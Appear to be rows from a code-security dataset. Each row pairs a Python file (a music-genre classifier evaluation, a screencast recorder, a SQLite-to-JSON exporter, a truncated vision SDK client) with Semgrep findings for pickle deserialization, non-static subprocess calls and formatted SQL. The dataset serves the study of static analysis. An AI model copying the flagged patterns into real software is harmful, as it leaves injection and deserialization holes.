def __init__(self, mode='conv', nfilt=26, nfeat=13, nfft=512, rate=16000): # filtered out
self.mode = mode
self.nfilt = nfilt
self.nfeat = nfeat
self.rate = rate
self.nfft = nfft
# 0.1 sec, how much data computing while creating window
self.step = int(rate/10)
self.model_path = os.path.join('models', mode + '.model')
self.p_path = os.path.join('pickles', 'convbig.p')
def build_predictions(audio_dir):
y_true = []
y_pred = []
fn_prob = {}
print('Extracting features from audio')
for fn in tqdm(os.listdir(audio_dir)):
rate, wav = wavfile.read(os.path.join(audio_dir, fn))
label = fn2class[fn]
c = classes.index(label)
y_prob = []
for i in range(0, wav.shape[0]-config.step, config.step): # cannot go further
sample = wav[i:i+config.step]
x = mfcc(sample, rate, numcep=config.nfeat,
nfilt=config.nfilt, nfft=config.nfft)
x = (x - config.min)/(config.max - config.min) # range
if config.mode == 'conv':
x = x.reshape(1, x.shape[0], x.shape[1], 1)
elif config.mode == 'time':
x = np.expand_dims(x, axis=0) # expand to 1 sample
elif config.mode == 'convtime':
x = x.reshape(1, x.shape[0], x.shape[1], 1)
y_hat = model.predict(x)
y_prob.append(y_hat)
y_pred.append(np.argmax(y_hat))
y_true.append(c)
# or that would be crap
fn_prob[fn] = np.mean(y_prob, axis=0).flatten()
return y_true, y_pred, fn_prob
def plot_confusion_matrix(y_true, y_pred, classes,
normalize=False,
title=None,
cmap=plt.cm.Blues):
"""
This function prints and plots the confusion matrix.
Normalization can be applied by setting `normalize=True`.
"""
if not title:
if normalize:
title = 'Normalized confusion matrix'
else:
title = 'Confusion matrix, without normalization'
# Compute confusion matrix
cm = confusion_matrix(y_true, y_pred)
# Only use the labels that appear in the data
classes = ['Electronic', 'Experimental', 'Folk', 'Hip-Hop',
'Instrumental', 'International', 'Pop', 'Rock']
if normalize:
cm = cm.astype('float') / cm.sum(axis=1)[:, np.newaxis]
print("Normalized confusion matrix")
else:
print('Confusion matrix, without normalization')
print(cm)
fig, ax = plt.subplots()
im = ax.imshow(cm, interpolation='nearest', cmap=cmap)
ax.figure.colorbar(im, ax=ax)
# We want to show all ticks...
ax.set(xticks=np.arange(cm.shape[1]),
yticks=np.arange(cm.shape[0]),
# ... and label them with the respective list entries
xticklabels=classes, yticklabels=classes,
title=title,
ylabel='True label',
xlabel='Predicted label')
# Rotate the tick labels and set their alignment.
plt.setp(ax.get_xticklabels(), rotation=45, ha="right",
rotation_mode="anchor")
# Loop over data dimensions and create text annotations.
fmt = '.2f' if normalize else 'd'
thresh = cm.max() / 2.
for i in range(cm.shape[0]):
for j in range(cm.shape[1]):
ax.text(j, i, format(cm[i, j], fmt),
ha="center", va="center",
color="white" if cm[i, j] > thresh else "black")
fig.tight_layout()
return ax
# can remove if no classification, if we don't know true classes
df = pd.read_csv('new_try.csv')
classes = ['Electronic', 'Experimental', 'Folk', 'Hip-Hop',
'Instrumental', 'International', 'Pop', 'Rock']
fn2class = dict(zip(df.fname, df.label))
p_path = os.path.join('pickles', 'convbig.p')
with open(p_path, 'rb') as handle:
config = pickle.load(handle)
model = load_model('models/conv.model')
y_true, y_pred, fn_prob = build_predictions(
'valrandmusic') # predictions for all in this dir
print('Confusion Matrix')
results = confusion_matrix(y_true=y_true, y_pred=y_pred)
print(results)
print('Accuracy Score:')
acc_score = accuracy_score(y_true=y_true, y_pred=y_pred)
print(acc_score)
print('Report')
cl = classification_report(y_true=y_true, y_pred=y_pred)
print(cl)
# Plot non-normalized confusion matrix
plot_confusion_matrix(y_true, y_pred, classes=classes,
title='Confusion matrix, without normalization')
# Plot normalized confusion matrix
plot_confusion_matrix(y_true, y_pred, classes=classes, normalize=True,
title='Normalized confusion matrix')
plt.show()
| 157 | 32.56 | 94 | 17 | 1,262 | python | [{"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_a304c52db65b221a_1e3cab83", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 130, "line_end": 130, "column_start": 14, "column_end": 33, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmppq52ww6s/a304c52db65b221a.py", "start": {"line": 130, "col": 14, "offset": 4480}, "end": {"line": 130, "col": 33, "offset": 4499}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 1 | true | [
"CWE-502"
] | [
"rules.python.lang.security.deserialization.avoid-pickle"
] | [
"security"
] | [
"LOW"
] | [
"MEDIUM"
] | [
130
] | [
130
] | [
14
] | [
33
] | [
"A08:2017 - Insecure Deserialization"
] | [
"Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format."
] | [
5
] | [
"LOW"
] | [
"MEDIUM"
] | plotting.py | /plotting.py | imciflam/music-content-filtering | MIT | |
2024-11-18T19:44:32.307677+00:00 | 1,513,938,555,000 | dea76ef02a91dd964a0e755a7cee66daf3696f4b | 2 | {
"blob_id": "dea76ef02a91dd964a0e755a7cee66daf3696f4b",
"branch_name": "refs/heads/master",
"committer_date": 1513938555000,
"content_id": "3968199d625b37d80324e7f773e06af85594cad8",
"detected_licenses": [
"MIT"
],
"directory_id": "d489f46f26e80be630b76230c53812cb1ac9e252",
"extension": "py",
"filename": "screencast.py",
"fork_events_count": 1,
"gha_created_at": 1426578980000,
"gha_event_created_at": 1513938556000,
"gha_language": "Python",
"gha_license_id": "MIT",
"github_id": 32379169,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3440,
"license": "MIT",
"license_type": "permissive",
"path": "/vmmaster_agent/backend/screencast.py",
"provenance": "stack-edu-0054.json.gz:580638",
"repo_name": "2gis/vmmaster-agent",
"revision_date": 1513938555000,
"revision_id": "8abeea5869ed5ba8d78126ead75aa66d538f52ef",
"snapshot_id": "e3f2823b66dec10b13195e990cf304795298a036",
"src_encoding": "UTF-8",
"star_events_count": 2,
"url": "https://raw.githubusercontent.com/2gis/vmmaster-agent/8abeea5869ed5ba8d78126ead75aa66d538f52ef/vmmaster_agent/backend/screencast.py",
"visit_date": "2021-05-15T01:22:03.642479"
} | 2.453125 | stackv2 | # coding: utf-8
import os
import errno
import logging
import subprocess
from threading import Timer
from vmmaster_agent.backend import adb
log = logging.getLogger(__name__)
class ScreencastRecorder:
url = None
process = None
screencast_file_abspath = None
def __init__(self):
self.screencast_dir_abspath = os.path.join(os.path.dirname(os.path.abspath(self.__module__)), "screencast")
def convert_images_to_video(self):
log.info("Start converting images to video...")
input_file = "{}/input.txt".format(self.screencast_dir_abspath)
if not os.path.exists(input_file):
raise Exception("Screencast file was not created because input.txt file for ffmpeg not found.")
self.screencast_file_abspath = os.path.join(self.screencast_dir_abspath, "video.webm")
args = [
"ffmpeg",
"-y",
"-loglevel", "panic",
"-f", "concat",
"-i", input_file,
self.screencast_file_abspath
]
try:
converter = subprocess.Popen(args, stdout=subprocess.PIPE)
if converter.pid:
converter.communicate()
except OSError as e:
if e.errno == errno.ENOENT:
log.exception("ffmpeg is not installed, screenshots won't be converted to video")
else:
raise Exception("Error while running ffmpeg. Screencast file was not created")
if os.path.exists(self.screencast_file_abspath):
log.info("Screencast file was successfully created: {}".format(self.screencast_file_abspath))
return self.screencast_file_abspath
else:
raise Exception("Screencast file was not created for an unknown reason")
@property
def pid(self):
if self.is_alive():
return self.process.pid
def start(self):
self.url = adb.get_device_name()
if not self.url:
raise Exception("WS Connect url not found")
log.info(
"Starting recorder for current session on {} to {} ...".format(self.url, self.screencast_dir_abspath))
args = [
"stf-record",
"--adb-connect-url", self.url,
"--log-level", "INFO",
"--dir", self.screencast_dir_abspath
]
try:
self.process = subprocess.Popen(args, stdout=subprocess.PIPE)
except:
raise Exception("Failed to start stf-record: \n{}\n".format(self.process.stdout, self.process.stderr))
log.info("Record process(PID:{}) has been started...".format(self.pid))
return self.pid
def stop(self):
def kill(process):
log.warn("Timeout expired while waiting for process to terminate. Killing...")
process.kill()
if self.process and not self.process.returncode:
timer = Timer(15, kill, [self.process])
try:
timer.start()
self.process.terminate()
self.process.wait()
finally:
timer.cancel()
log.info("Stopped recoder for current session on {}...".format(self.url))
def stop_and_convert(self):
self.stop()
self.convert_images_to_video()
def is_alive(self):
if self.process and not self.process.returncode:
log.debug("Screencast process is alive!")
return True
| 102 | 32.73 | 115 | 16 | 727 | python | [{"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_f9ff1006ed0f69f8_0a8edd89", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 40, "line_end": 40, "column_start": 25, "column_end": 71, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "path": "/tmp/tmppq52ww6s/f9ff1006ed0f69f8.py", "start": {"line": 40, "col": 25, "offset": 1068}, "end": {"line": 40, "col": 71, "offset": 1114}, "extra": {"message": "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_f9ff1006ed0f69f8_f91a8153", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 74, "line_end": 74, "column_start": 28, "column_end": 74, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "path": "/tmp/tmppq52ww6s/f9ff1006ed0f69f8.py", "start": {"line": 74, "col": 28, "offset": 2372}, "end": {"line": 74, "col": 74, "offset": 2418}, "extra": {"message": "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 2 | true | [
"CWE-78",
"CWE-78"
] | [
"rules.python.lang.security.audit.dangerous-subprocess-use-audit",
"rules.python.lang.security.audit.dangerous-subprocess-use-audit"
] | [
"security",
"security"
] | [
"LOW",
"LOW"
] | [
"HIGH",
"HIGH"
] | [
40,
74
] | [
40,
74
] | [
25,
28
] | [
71,
74
] | [
"A01:2017 - Injection",
"A01:2017 - Injection"
] | [
"Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.",
"Detected subprocess funct... | [
7.5,
7.5
] | [
"LOW",
"LOW"
] | [
"HIGH",
"HIGH"
] | screencast.py | /vmmaster_agent/backend/screencast.py | 2gis/vmmaster-agent | MIT | |
2024-11-18T19:44:37.264235+00:00 | 1,628,995,188,000 | a6b82819c756ee6ba84ca2c08516a4ed3b2395f2 | 3 | {
"blob_id": "a6b82819c756ee6ba84ca2c08516a4ed3b2395f2",
"branch_name": "refs/heads/master",
"committer_date": 1628995188000,
"content_id": "aee648868b6daa3590ab098be117514e2e934621",
"detected_licenses": [
"MIT"
],
"directory_id": "e1bda85b47d1bc0d3f273db5ec774ca45e53408a",
"extension": "py",
"filename": "sqlite2json.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 206366583,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3117,
"license": "MIT",
"license_type": "permissive",
"path": "/sqlite2json/sqlite2json.py",
"provenance": "stack-edu-0054.json.gz:580681",
"repo_name": "Longxr/python-data-process",
"revision_date": 1628995188000,
"revision_id": "f5f8c2c89b449b76dde31d13c6cabb6b97b0023f",
"snapshot_id": "7bf7d7d73501651758b9376c85f8ca89cc7f8197",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/Longxr/python-data-process/f5f8c2c89b449b76dde31d13c6cabb6b97b0023f/sqlite2json/sqlite2json.py",
"visit_date": "2021-09-06T18:45:48.653898"
} | 2.921875 | stackv2 | # coding=utf-8
import getopt
import json
import os
import sqlite3
import sys
def end_width(*suffix):
# find a specific suffix file
def end_check(str):
f = map(str.endswith, suffix)
return any(f)
return end_check
def dict_factory(cursor, row):
# tuple to dict
d = {}
for idx, col in enumerate(cursor.description):
d[col[0]] = row[idx]
return d
def remove_keys(d, *args):
for key in args:
if d.__contains__(key):
del d[key]
def usage_help():
print('This is a program that exports sqlite tables to json files')
print('-i \tinput database file')
print('-o \toutput dir')
print('-h \tshow help')
def export_database_data(i_path, o_dir):
# create export dir
if not os.path.exists(o_dir):
os.makedirs(o_dir)
print('input file path: ' + i_path)
print('output dir path: ' + o_dir)
# connect to the SQlite databases
connection = sqlite3.connect(i_path)
connection.row_factory = dict_factory
cursor = connection.cursor()
# select all the tables from the database
cursor.execute("SELECT name FROM sqlite_master WHERE type='table';")
tables = cursor.fetchall()
# for each of the bables , select all the records from the table
for table_name in tables:
# table_name = table_name[0]
print('export table name: ' + table_name['name'])
cursor.execute('SELECT * FROM "%s"' % (table_name['name']))
# fetch all or one we'll go for all.
table_data = cursor.fetchall()
# print(table_data)
# delete useless key
useless_key = ('delete_flag', 'restart_time', 'sku', 'summary', 'suspend_time')
for dic in table_data:
remove_keys(dic, *useless_key)
# generate and save JSON files with the table name for each of the database tables
with open(os.path.join(o_dir, table_name['name'] + '.json'), 'w') as the_file:
the_file.write(json.dumps(table_data, sort_keys=True, indent=4, separators=(',', ': ')))
cursor.close()
connection.close()
if __name__ == '__main__':
input_file =''
output_dir = ''
opts, args = getopt.getopt(sys.argv[1:], "hi:o:")
for op, value in opts:
if op == "-i":
input_file = value
elif op == "-o":
output_dir = value
elif op == "-h":
usage_help()
sys.exit()
if output_dir == '':
output_dir = os.path.dirname(os.path.abspath(__file__))
if input_file == '':
list_file = os.listdir(output_dir)
# search database file
f_func = end_width('.db')
f_file = filter(f_func, list_file)
# export each database file
for i in f_file:
export_database_data(os.path.join(output_dir, i), os.path.join(output_dir, os.path.splitext(i)[0]))
elif os.path.exists(input_file):
dirname, filename = os.path.split(input_file)
export_database_data(input_file, os.path.join(output_dir, filename.split('.',1)[0]))
else:
print('input file is not exists')
| 111 | 27.08 | 111 | 17 | 740 | python | [{"finding_id": "semgrep_rules.python.lang.security.audit.formatted-sql-query_375895b9de660e49_7fec31c8", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.formatted-sql-query", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected possible formatted SQL query. Use parameterized queries instead.", "remediation": "", "location": {"file_path": "unknown", "line_start": 57, "line_end": 57, "column_start": 9, "column_end": 68, "code_snippet": "requires login"}, "cwe_id": "CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/775296/mysql-parameterized-queries", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.formatted-sql-query", "path": "/tmp/tmppq52ww6s/375895b9de660e49.py", "start": {"line": 57, "col": 9, "offset": 1414}, "end": {"line": 57, "col": 68, "offset": 1473}, "extra": {"message": "Detected possible formatted SQL query. Use parameterized queries instead.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')"], "references": ["https://stackoverflow.com/questions/775296/mysql-parameterized-queries"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query_375895b9de660e49_4525b738", "tool_name": "semgrep", "rule_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "remediation": "", "location": {"file_path": "unknown", "line_start": 57, "line_end": 57, "column_start": 9, "column_end": 68, "code_snippet": "requires login"}, "cwe_id": "CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "title": null}, {"url": "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "title": null}, {"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "path": "/tmp/tmppq52ww6s/375895b9de660e49.py", "start": {"line": 57, "col": 9, "offset": 1414}, "end": {"line": 57, "col": 68, "offset": 1473}, "extra": {"message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "metadata": {"cwe": ["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column"], "category": "security", "technology": ["sqlalchemy"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_375895b9de660e49_0e126623", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 71, "line_end": 71, "column_start": 14, "column_end": 74, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmppq52ww6s/375895b9de660e49.py", "start": {"line": 71, "col": 14, "offset": 1886}, "end": {"line": 71, "col": 74, "offset": 1946}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 3 | true | [
"CWE-89",
"CWE-89"
] | [
"rules.python.lang.security.audit.formatted-sql-query",
"rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query"
] | [
"security",
"security"
] | [
"LOW",
"LOW"
] | [
"MEDIUM",
"HIGH"
] | [
57,
57
] | [
57,
57
] | [
9,
9
] | [
68,
68
] | [
"A01:2017 - Injection",
"A01:2017 - Injection"
] | [
"Detected possible formatted SQL query. Use parameterized queries instead.",
"Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepa... | [
5,
7.5
] | [
"LOW",
"LOW"
] | [
"HIGH",
"HIGH"
] | sqlite2json.py | /sqlite2json/sqlite2json.py | Longxr/python-data-process | MIT | |
2024-11-18T19:57:59.532077+00:00 | 1,600,015,441,000 | 169feb0ad8ba6ea1e42ec75b5d7c4289348c2b39 | 3 | {
"blob_id": "169feb0ad8ba6ea1e42ec75b5d7c4289348c2b39",
"branch_name": "refs/heads/master",
"committer_date": 1600015441000,
"content_id": "6d400b96cd69b7a2ad12efc757e636f1a9036389",
"detected_licenses": [
"MIT"
],
"directory_id": "673a818ab71ad8934e74d34564960f7014a3c195",
"extension": "py",
"filename": "pekat_vision_instance.py",
"fork_events_count": 0,
"gha_created_at": 1600014944000,
"gha_event_created_at": 1600014945000,
"gha_language": null,
"gha_license_id": "MIT",
"github_id": 295192795,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 9160,
"license": "MIT",
"license_type": "permissive",
"path": "/PekatVisionSDK/pekat_vision_instance.py",
"provenance": "stack-edu-0054.json.gz:580787",
"repo_name": "kafcha/pekat-vision-sdk-python",
"revision_date": 1600015441000,
"revision_id": "67703acf34ee744aecd3e71ccd7d0619388d5bf0",
"snapshot_id": "a74a6a5021a7f0dc7d13013f6711d427e86c4c94",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/kafcha/pekat-vision-sdk-python/67703acf34ee744aecd3e71ccd7d0619388d5bf0/PekatVisionSDK/pekat_vision_instance.py",
"visit_date": "2022-12-11T15:40:04.747607"
} | 2.609375 | stackv2 | # PEKAT VISION api
#
# A Python module for communication with PEKAT VISION 3.10.2 and higher
#
# Author: developers@pekatvision.com
# Date: 20 March 2020
# Web: https://github.com/pekat-vision
import json
import os
import platform
import random
import socket
import string
import sys
import subprocess
import atexit
import base64
import numpy as np
import requests
__version__ = '1.1.0'
class DistNotFound(Exception):
def __str__(self):
return "PEKAT VISION dist not found"
class DistNotExists(Exception):
def __str__(self):
return "PEKAT VISION dist not exists"
class PortIsAllocated(Exception):
def __str__(self):
return "Port is allocated"
class InvalidData(Exception):
def __str__(self):
return "Invalid input data. Allowed types are the file path (string) or image in numpy array"
class InvalidResponseType(Exception):
def __str__(self):
return "Invalid response type (context, image, annotated_image)"
class CannotBeTerminated(Exception):
def __str__(self):
return "Already running instance cannot be terminated"
class ProjectNotFound(Exception):
def __init__(self, path):
self.path = path
def __str__(self):
return "Project not found. Check path {}.".format(self.path)
class PekatNotStarted(Exception):
def __str__(self):
return "Pekat not started from unknown reason"
class OpenCVImportError(Exception):
def __str__(self):
return "You need opencv-python installed for this type of response_type"
class Instance:
def __init__(
self,
project_path=None,
dist_path=None,
port=None,
host='127.0.0.1',
already_running=False,
password=None,
api_key=None,
disable_code=None,
tutorial_only=None
):
"""
Create instance of interface for communication
:param project_path: Path to project. It is ignored is already_running=True
:type project_path: str
:param dist_path: path to PEKAT VISION binaries. It is ignored is already_running=True
:type dist_path: str
:param port:
:type port: int
:param host:
:type host: str
:param already_running: Instance will not be created. It joins to existing one.
:type already_running: bool
:param password: access to client gui
:type password: str
:param api_key: api key - more in PEKAT VISION doc
:type api_key: str
:param disable_code: disable module code
:type disable_code: bool
:param tutorial_only: allow only Anomoly of Surface tutorial
:type tutorial_only: bool
"""
self.project_path = project_path
self.dist_path = dist_path
self.host = host
self.already_running = already_running
self.password = password
self.api_key = api_key
self.disable_code = disable_code
self.tutorial_only = tutorial_only
if port is None:
self.port = self.__find_free_ports()
self.port_is_defined = False
else:
self.port = port
self.port_is_defined = True
if not already_running:
self.__start_instance()
atexit.register(self.stop)
self.__stopping = False
def analyze(self, image, response_type='context', data=None, timeout=20):
"""
Send image to PEKAT VISION. PEKAT VISION return result of recognition.
:param image: numpy image or path to image file
:type image: numpy, str
:param response_type: more in PEKAT VISION doc
:type response_type: str
:param data: adds data to the query - more in PEKAT VISION doc
:type data: str
:param timeout: Timeout to request
:type timeout: int
:return: results of recognition based on response_type
:rtype: (numpy, object), object
"""
image_path = None
numpy_image = None
if isinstance(image, str):
image_path = image
elif isinstance(image, (np.ndarray, np.generic)):
numpy_image = image
else:
raise InvalidData()
if not(response_type == 'annotated_image' or response_type == 'context' or response_type == 'heatmap'):
raise InvalidResponseType
query = 'response_type={}'.format(response_type)
url = 'http://{}:{}'.format(self.host, self.port)
if self.api_key:
query += '&api_key={}'.format(self.api_key)
if data:
query += '&data={}'.format(data)
if image_path:
with open(image_path, 'rb') as data:
